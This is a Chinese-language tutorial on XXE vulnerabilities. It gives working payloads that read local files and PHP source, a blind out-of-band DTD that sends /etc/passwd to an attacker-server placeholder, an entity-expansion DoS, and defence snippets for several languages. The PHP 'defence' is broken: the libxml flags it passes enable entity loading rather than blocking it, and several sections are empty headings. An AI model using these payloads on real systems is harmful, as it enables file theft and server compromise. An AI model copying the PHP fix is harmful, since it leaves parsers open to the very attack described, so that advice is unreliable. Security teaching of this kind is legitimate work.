一、学习XXE 漏洞
(一)什么是 XXE
XXE 全称 XML External Entity(XML 外部实体注入)XML 解析时允许加载外部实体文件 / 网络资源,攻击者构造恶意 XML,读取本地文件、内网探测、执行命令、DOS 攻击,这就是 XXE 漏洞。
核心前提
XML 1.0 标准支持 DOCTYPE 定义实体,实体分两种:
(二)XML 实体基础语法
1. 基础内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY name "test">
]>
<root>&name;</root>
输出:<root>test</root>
2. 外部实体(读取本地文件核心)
SYSTEM 关键字加载外部资源
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>
解析时会读取 /etc/passwd 文件内容并输出到页面。
支持协议:
- file:// 读取本地文件(最常用)
- http:///https:// 发起内网 / 外网请求(SSRF 联动)
- php://filter(PHP 环境专用,读取源码)
- ftp:// 、jar:// 等
(三)XXE 漏洞分类
1. 有回显 XXE(直接读取文件)
恶意 XML 解析后,文件内容直接返回页面,最简单利用。
Linux 读取 passwd
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
Windows 读取 C 盘 hosts
<!ENTITY win SYSTEM "file://C:/Windows/System32/drivers/etc/hosts">
PHP 读取源码(php://filter)
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
返回 base64 编码源码,解码得到源代码。
2. 无回显 XXE(盲 XXE / Out-of-band OOB)
页面不输出文件内容,需要带外数据通道,将读取内容发送到攻击者 VPS。原理:构造外部实体引用攻击者服务器的 DTD 文件,把文件内容拼接到 URL 带出。
步骤
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY out SYSTEM 'http://你的VPS/?data=%payload;'>">
%send;
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://你的VPS/evil.dtd">
%dtd;
%out;
]>
<root>test</root>
目标服务器读取文件后,自动访问攻击者接口,日志中拿到文件内容。
3. 报错型 XXE
利用解析报错,把文件内容放在报错信息里泄露。
(四)XXE 常见攻击场景
<!DOCTYPE a [
<!ENTITY x1 "xxxx">
<!ENTITY x2 "&x1;&x1;&x1;">
…多层递归膨胀
]>
(五)常见易出现 XXE 的语言 / 组件
(六)漏洞挖掘思路(实战找 XXE)
1. 寻找 XML 数据传输点
- 请求头 Content-Type: application/xml
- POST Body 直接提交 XML 数据
- 文件上传:上传 .xml 、.xsl 解析文件
- SOAP 接口(webservice,标准 XML 传输)
- RSS、SVG、XML 格式文件解析功能
2. 测试 Payload 流程
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY test "hello">]>
<x>&test;</x>
页面输出 hello → 存在实体解析,大概率有 XXE2. 测试读取本地文件(file://)3. 无回显则使用 OOB 带外盲打
(七)XXE 防御方案(核心修复手段)
通用原则:彻底禁用外部实体、禁用 DOCTYPE
1. Java 防御
SAX 解析时关闭外部实体、DTD 加载
// 关闭外部实体
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
2. PHP 防御
初始化 DOMDocument 时关闭实体加载
$dom = new DOMDocument();
// 禁止加载外部实体
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
libxml_disable_entity_loader(true);
3. Python 防御
使用安全解析器,禁用外部实体:
from lxml import etree
parser = etree.XMLParser(load_dtd=False, no_network=True)
4. .NET 防御
设置 XmlReaderSettings 禁止 DTD 与外部资源

